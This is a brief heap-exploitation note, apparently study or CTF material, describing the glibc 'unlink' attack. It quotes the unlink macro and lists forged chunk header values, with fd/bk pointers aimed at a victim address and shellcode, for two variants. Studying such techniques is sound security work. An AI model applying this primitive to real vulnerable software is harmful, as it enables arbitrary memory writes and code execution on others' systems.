

Corrupt-Free I

[Doc]

We'd free(Mem1)
Your choice now:

1. overwrite chunk0, chunk1, and fool glibc to unlink fake0

2. overwrite chunk2, fake3 and fool glibc to unlink chunk2

[Vul]

Unlink

```
#define unlink(P, BK, FD){
    FD    = P->fd;
    BK    = P->bk;
    FD->BK = BK;
    BK->FD = FD;
}
```

[Exp]

choice1:

```
chunk1->prev_size = 0x80
chunk1->size      = 0x90
```

```
fake0->prev_size = 0x0
fake0->size      = 0x81
fake0->fd        = &victim-0x8*3
fake0->bk        = &shellcode
```

choice2:

```
chunk2->prev_size = 0x90
chunk2->size      = 0x91
chunk2->fd        = &victim-0x8*3
chunk2->bk        = &shellcode
```

```
fake3->size      = 0x10
```

